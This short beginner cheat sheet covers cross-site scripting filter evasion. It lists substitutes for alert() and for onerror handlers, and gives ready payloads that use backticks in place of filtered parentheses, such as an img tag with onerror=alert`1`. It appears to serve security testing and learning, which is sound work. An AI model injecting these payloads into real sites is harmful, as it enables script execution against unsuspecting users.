if You Are a Beginner then First Clear the Basic Concepts .
alert()
Alternatives
1)Use confirm() Not alert()
2)Use prompt() Not alert()
3)Use console.log() Not alert()
4)use eval() Not alert()
onerror
Event Handler Alternatives
1)Use onload
2)Use onfocus
3)Use onmouseover
4)Use onblur
5)Use onclick
6)Use onscroll
- Note:- if () get filtered then Use `` Rather then () , Some Examples Are Below.
1)<script>alert`1`</script>
2)<img src=x onerror=alert`1`>
3)<img src=x onerror=prompt`1`>
4)javascript:prompt`1`
5)javascript:alert`1`
- 1:-Portswigger
- 2:-OWASP